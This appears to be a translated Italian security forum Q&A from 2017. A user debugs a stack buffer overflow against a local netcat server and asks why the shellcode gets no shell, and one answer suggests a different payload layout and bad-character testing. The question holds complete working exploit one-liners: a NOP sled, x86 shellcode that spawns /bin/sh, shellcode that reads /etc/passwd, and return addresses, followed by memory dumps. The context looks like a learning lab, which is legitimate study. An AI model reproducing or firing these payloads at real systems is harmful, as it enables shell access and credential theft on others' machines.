Overflow del buffer sul server

4

Ho un server, per riferimento: pastebin / ghJX69uH, che posso usare netcat e ti chiederà di inserire un msg.

So che è vulnerabile all'overflow del buffer, ma non riesco a ottenere l'esecuzione dello shellcode. Ho corretto con successo l'indirizzo di ritorno alla diapositiva NOP e colpisce / bin / sh ma non genera una shell. Ecco il mio codice:

echo "'python -c 'print "\x90"*65517 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  + "\xac\xf3\xfe\xbf"*10 + "\n"''" | nc 127.0.0.1 1111

È un semplice overflow del buffer con [NOP SLIDE | SHELLCODE (spawn shell /bin/sh) | return address]

La prima immagine mostra che l'indirizzo di ritorno è bffef3ac che passa alla diapositiva NOP, quindi tutto è OK! La seconda immagine restituisce SIG FAULT senza shell, non succede nulla.

Chestasuccedendoqui?Hodatoun'occhiataaebpehamostratoqualcosadistrano,ilmio\x90seguitoda(qualedovrebbeessereilmioshellcode)haunaspettodiverso?Qualsiasiintuizionesucosapotrebbeesseresbagliatoosucomeprocedereinmerito

0xbffef42c:0x909090900x909090900x909090900x909090900xbffef43c:0x909090900x909090900x909090900x909090900xbffef44c:0x909090900x50c031900x732f2f680x622f68680xbffef45c:0xe3896e690xbffef4680x000000000x6e69622f0xbffef46c:0x68732f2f0x000000000xbffef3ac0xbffef3ac0xbffef47c:0xbffef3ac0xbffef3ac0xbffef3ac0xbffef3ac0xbffef48c:0xbffef3ac0x000000000x000000000x000000000xbffef49c:0x000000000x000000000x000000000x00000000

Modifica1:ilformatodelcodiceprovienedanumberphile,loshellcodeèda link , che ho eseguito e genera una shell. Ho provato ad aggiungere padding (ho messo A's) come suggerito tra shellcode e indirizzo di ritorno, ma succede qualcosa di strano:

New code: echo "'python -c 'print "\x90"*65490 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  + "A"*27 + "\xac\xf4\xfe\xbf" + "\n"''" | nc 127.0.0.1 1129


0xbffef42c: 0x90909090  0x90909090  0x90909090  0xc0319090
0xbffef43c: 0x2f2f6850  0x2f686873  0x896e6962  0x895350e3
0xbffef44c: 0xcd0bb0e1  0x41414180  0x41414141  0x41414141
0xbffef45c: 0x41414141  0x41414141  0x41414141  0x00000001
0xbffef46c: 0xbffef4ac  0x08049000  0x00000004  0xbffff4a4
0xbffef47c: 0xbffff490  0xbffff48c  0x00000004  0x00000000
0xbffef48c: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffef49c: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffef4ac: 0x00000000  0x00000000  0x00000000  0x0000000

Modifica 2: Così sono riuscito a stampare / etc / passwd ma non riesco ancora a far funzionare lo shellcode per generare una shell!

Funziona: / etc / passwd

echo "'python -c 'print "\x90"*65478+"\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80"  +"AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf" + "\n"''" | nc 127.0.0.1 2010

Non funziona: / bin / sh

echo "'python -c 'print "\x90"*65513 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf\x9c" + "\n"''" | nc 127.0.0.1 3003
    
posta user153882 20.03.2017 - 18:02
fonte

1 risposta

2

Mettendo questo sotto forma di risposta per sfruttare la spaziatura e la formattazione extra. Non posso provare a replicare il tuo problema adesso, ma ecco cosa proverò.

Ogni volta che ho scritto un exploit per un Buffer Overflow il mio codice sarebbe diventato NOPS + EIP POINTER + NOP BUFFER + SHELLCODE

Ad esempio:

buffer = "A" * 2000 + "\x8a\x32\x4e\x4e" + "\x90" * 8 + shellcode

Dove "\x8a\x32\x4e\x4e" sarebbe il tuo indirizzo di ritorno

In secondo luogo, suggerirei di testare i caratteri errati che potrebbero causare l'arresto del tuo exploit. Non vedo nessuno dei soliti sospetti 0x00 0x0A o 0x0D ma potrebbe esserci un personaggio che sta causando il fallimento dell'exploit.

Qual è lo scopo del codice "\xac\xf3\xfe\xbf"*10 - Presumo che questo sia l'indirizzo di ritorno, ma perché lo stai moltiplicando per 10?

    
risposta data 20.03.2017 - 19:06
fonte

Leggi altre domande sui tag